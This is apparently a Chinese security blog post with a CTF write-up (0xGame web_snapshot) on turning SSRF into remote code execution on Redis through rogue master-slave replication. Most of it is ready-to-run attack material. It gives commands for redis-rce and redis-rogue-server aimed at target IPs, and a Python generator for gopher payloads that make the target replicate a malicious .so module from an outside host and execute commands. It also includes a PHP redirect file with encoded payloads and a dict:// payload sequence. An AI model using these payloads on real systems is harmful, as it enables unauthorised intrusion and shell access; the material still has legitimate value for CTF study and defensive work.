ssrf实现redis主从复制

一、Redis 主从复制一键自动化RCE

在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在Redis中实现一个新的Redis命令,通过写C语言编译并加载恶意的.so文件,达到代码执行的目的。

通过脚本实现一键自动化getshell:

1、生成恶意.so文件,下载RedisModules-ExecuteCommand使用make编译即可生成。

1
2
3
4
5
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
cd RedisModules-ExecuteCommand/
make

BASH

2、攻击端执行: python redis-rce.py -r 目标ip-p 目标端口 -L 本地ip -f 恶意.so

1
2
3
4
5
6
7
git clone https://github.com/Ridter/redis-rce.git
cd redis-rce/
cp ../RedisModules-ExecuteCommand/src/module.so ./
pip install -r requirements.txt
python redis-rce.py -r 192.168.28.152 -p 6379 -L 192.168.28.137 -f module.so

VIM

二、Redis主从复制利用原理

在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件。

编写恶意so文件的代码。l利用脚本https://github.com/Dliv3/redis-rogue-server

三、Redis主从复制的几种情况

(一)、主动连接模式

适用于目标Redis服务处于外网的情况

  • 外网Redis未授权访问
  • 已知外网Redis口令

启动redis rogue server,并主动连接目标redis服务发起攻击

1
2
3
python3 redis-rogue-server.py --rhost <target address> --rport <target port> --lhost <vps address> --lport <vps port>

CSS

参数说明:

  • --rpasswd 如果目标Redis服务开启了认证功能,可以通过该选项指定密码
  • --rhost 目标redis服务IP
  • --rport 目标redis服务端口,默认为6379
  • --lhost vps的外网IP地址
  • --lport vps监控的端口,默认为21000

攻击成功之后,你会得到一个交互式shell

(二)、被动连接模式

适用于目标Redis服务处于内网的情况

  • 通过SSRF攻击Redis
  • 内网Redis未授权访问/已知Redis口令, Redis需要反向连接redis rogue server

这种情况下可以使用--server-only选项

1
2
3
python3 redis-rogue-server.py --server-only

VIM

参数说明:

  • --server-only 仅启动redis rogue server, 接受目标redis的连接,不主动发起连接
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import requests
import re
def urlencode(data):
enc_data = ''
for i in data:
h = str(hex(ord(i))).replace('0x', '')
if len(h) == 1:
enc_data += '%0' + h.upper()
else:
enc_data += '%' + h.upper()
return enc_data
def gen_payload(payload):
redis_payload = ''
for i in payload.split('\n'):
arg_num = '*' + str(len(i.split(' ')))
redis_payload += arg_num + '\r\n'
for j in i.split(' '):
arg_len = '$' + str(len(j))
redis_payload += arg_len + '\r\n'
redis_payload += j + '\r\n'
gopher_payload = 'gopher://db:6379/_' + urlencode(redis_payload)
return gopher_payload
payload1 = '''
slaveof 111.229.162.217 21000
config set dir /tmp
config set dbfilename exp.so
quit
'''
payload2 = '''
slaveof no one
module load /tmp/exp.so
system.exec 'id'
quit
'''
print(gen_payload(payload1))
print(gen_payload(payload2))

PYTHON

四、例题

2023 0xGame web_snapshot

题⽬会通过 curl 函数请求⽹⻚, 并将 html 源码保存在 Redis 数据库中

请求⽹⻚的过程很明显存在 ssrf, 但是限制输⼊的 url 只能以 http / https 开头

1
2
3
4
5
6
7
8
9
10
11
12
function _get($url) {
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_HEADER, 0);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
$data = curl_exec($curl);
curl_close($curl);
return $data;
}

PYTHON

⾸先注意 curl_setopt 设置的参数 CURLOPT_FOLLOWLOCATION , 代表允许 curl 根据返回头中的 Location 进⾏

重定向

参考: https://www.php.net/manual/zh/function.curl-setopt.php

[image-20231026170919748

[image-20231026171207915

⽽ curl ⽀持 dict / gopher 等协议, 那么我们就可以通过 Location 头把协议从 http 重定向⾄ dict / gopher, 这个技

巧在⼀些关于 ssrf 的⽂章⾥⾯也会提到

https://www.cnblogs.com/xiaozi/p/13089906.html

https://github.com/Dliv3/redis-rogue-serve

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import requests
import re
def urlencode(data):
enc_data = ''
for i in data:
h = str(hex(ord(i))).replace('0x', '')
if len(h) == 1:
enc_data += '%0' + h.upper()
else:
enc_data += '%' + h.upper()
return enc_data
def gen_payload(payload):
redis_payload = ''
for i in payload.split('\n'):
arg_num = '*' + str(len(i.split(' ')))
redis_payload += arg_num + '\r\n'
for j in i.split(' '):
arg_len = '$' + str(len(j))
redis_payload += arg_len + '\r\n'
redis_payload += j + '\r\n'
gopher_payload = 'gopher://db:6379/_' + urlencode(redis_payload)
return gopher_payload
payload1 = '''
slaveof 111.229.162.217 21000
config set dir /tmp
config set dbfilename exp.so
quit
'''
payload2 = '''
slaveof no one
module load /tmp/exp.so
system.exec 'id'
quit
'''
print(gen_payload(payload1))
print(gen_payload(payload2))

PYTHON

分两次打

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
// step 1
header('Location:
gopher://db:6379/_%2A%31%0D%0A%24%30%0D%0A%0D%0A%2A%33%0D%0A%24%37%0D%0A%73%6C%61%76%65
%6F%66%0D%0A%24%32%30%0D%0A%68%6F%73%74%2E%64%6F%63%6B%65%72%2E%69%6E%74%65%72%6E%61%6C
%0D%0A%24%35%0D%0A%32%31%30%30%30%0D%0A%2A%34%0D%0A%24%36%0D%0A%63%6F%6E%66%69%67%0D%0A
%24%33%0D%0A%73%65%74%0D%0A%24%33%0D%0A%64%69%72%0D%0A%24%34%0D%0A%2F%74%6D%70%0D%0A%2A
%34%0D%0A%24%36%0D%0A%63%6F%6E%66%69%67%0D%0A%24%33%0D%0A%73%65%74%0D%0A%24%31%30%0D%0A
%64%62%66%69%6C%65%6E%61%6D%65%0D%0A%24%36%0D%0A%65%78%70%2E%73%6F%0D%0A%2A%31%0D%0A%24
%34%0D%0A%71%75%69%74%0D%0A%2A%31%0D%0A%24%30%0D%0A%0D%0A');
// step 2
// header('Location:
gopher://db:6379/_%2A%33%0D%0A%24%37%0D%0A%73%6C%61%76%65%6F%66%0D%0A%24%32%0D%0A%6E%6F
%0D%0A%24%33%0D%0A%6F%6E%65%0D%0A%2A%33%0D%0A%24%36%0D%0A%6D%6F%64%75%6C%65%0D%0A%24%34
%0D%0A%6C%6F%61%64%0D%0A%24%31%31%0D%0A%2F%74%6D%70%2F%65%78%70%2E%73%6F%0D%0A%2A%32%0D
%0A%24%31%31%0D%0A%73%79%73%74%65%6D%2E%65%78%65%63%0D%0A%24%35%0D%0A%27%65%6E%76%27%0D
%0A%2A%31%0D%0A%24%34%0D%0A%71%75%69%74%0D%0A%2A%31%0D%0A%24%30%0D%0A%0D%0A');

PHP

在 vps 上启动⼀个 php 服务器, 例如 php -S 0.0.0.0:65000 , 然后让题⽬去访问这个 php ⽂件(我用的是直接启动apache

[image-20231026171416494

第⼆次打完之后, 访问给出的 link 拿到回显

1
2
3
http://127.0.0.1:50034/cache.php?id=f56f89a264510e2b3aee8461a9859812

BASH

[image-20231026171444844

这⾥得注意⼏个点

⾸先 gopher 得分两次打, 不然你在执⾏ slaveof IP Port 命令之后⼜⽴即执⾏了 slave of no one , 这就导

致根本没有时间去主从复制 exp.so

其次在使⽤ gopher 发送 redis 命令的时候记得结尾加上 quit , 不然会⼀直卡住

然后注意 redis 的主机名是 db , ⽽不是 127.0.0.1 , 因此访问 redis 数据库得⽤ db:6379

如果⽤ dict 协议打的话, 得调整⼀下 payload 顺序

1
2
3
4
5
6
7
8
9
dict://db:6379/config:set:dir:/tmp
dict://db:6379/config:set:dbfilename:exp.so
dict://db:6379/slaveof:host.docker.internal:21000
dict://db:6379/module:load:/tmp/exp.so
dict://db:6379/slave:no:one
dict://db:6379/system.exec:env
dict://db:6379/module:unload:system

RUBY

因为每次执⾏命令之间会存在⼀定的时间间隔, 所以得先设置 dir 和 dbfilename, 然后再 slaveof, 不然最终同步的

⽂件名和路径还是原来的 /data/dump.rdb


ssrf实现redis主从复制
http://www.qetx.top/posts/19553/
作者
Qetx.Jul.27
发布于
2023年11月2日
许可协议